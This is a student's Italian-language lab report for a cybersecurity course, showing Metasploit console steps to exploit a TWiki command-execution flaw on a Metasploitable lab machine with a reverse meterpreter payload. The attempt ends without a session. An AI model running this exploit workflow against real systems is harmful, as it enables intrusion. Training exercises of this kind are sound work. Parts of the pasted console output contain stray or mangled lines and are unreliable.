

# M4W16D1 - Pratica (2)

*DATA*

**Cybersecurity Analyst**

*Studente:*

*Andrea Scarmagnani*

*Docente:*

*Federico Daidone*

## Traccia:

Sulla base dell'esercizio visto in lezione teorica, utilizzare Kali per sfruttare la vulnerabilità relativa a TWiki con la tecnica che meglio preferite, sulla macchina Metasploitable.

Nota: è più difficile dell'esercizio di ieri, se dovessero esserci problemi è consentito "fare l'hacker"

```
msf6 > search twiki

Matching Modules
=====
Generator:
-----
#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  exploit/unix/webapp/moinmoin_draw        2012-12-30      manual  Yes    MoinMoin Draw Action Traversal File Upload
1  exploit/unix/http/debug_plugins          2014-10-09      excellent  Yes    Debugableplugins Remote Code Execution
2  exploit/unix/webapp/twiki_history        2005-09-14      excellent  Yes    History Users rev Parameter Command Execution
3  exploit/unix/webapp/twiki_makertext      2012-12-15      excellent  Yes    MAKETEXT Remote Command Execution
4  exploit/unix/webapp/twiki_search         2004-10-01      excellent  Yes    Search Function Arbitrary Command Execution

Interact with a module by name or index. For example info 4, use 4 or use exploit/unix/webapp/twiki_search

msf6 > use exploit/unix/webapp/twiki_history
[*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp
```

```
msf6 exploit(unix/webapp/twiki_history) > show options

Module options (exploit/unix/webapp/twiki_history):

Name      Current Setting  Required  Description
--      -
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      RPORT            yes       The target port (TCP)
SSL        SSL              no        Negotiate SSL/TLS for outgoing connections
URI        URI              yes       TWiki bin directory path
VHOST      VHOST            no        HTTP server virtual host

Payload options (cmd/unix/python/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
LHOST     LHOST            yes       The listen address (an interface may be specified)
LPORT     LPORT            yes       The listen port

Exploit target:

Converter: Test String
Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
```

```
msf6 exploit(unix/webapp/twiki_history) > exploit

[*] Started reverse TCP handler on 192.168.1.10:4444
[+] Successfully sent exploit request
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/twiki_history) >
```

Nonostante tutto funziona a random, non sono riuscito capire qual è, ho fatto molti tentativi. È andata una sola volta senza spiegazione ma non sono stato in grado di raccogliere dettagli.

# **Cybersecurity Analyst 2023-2024**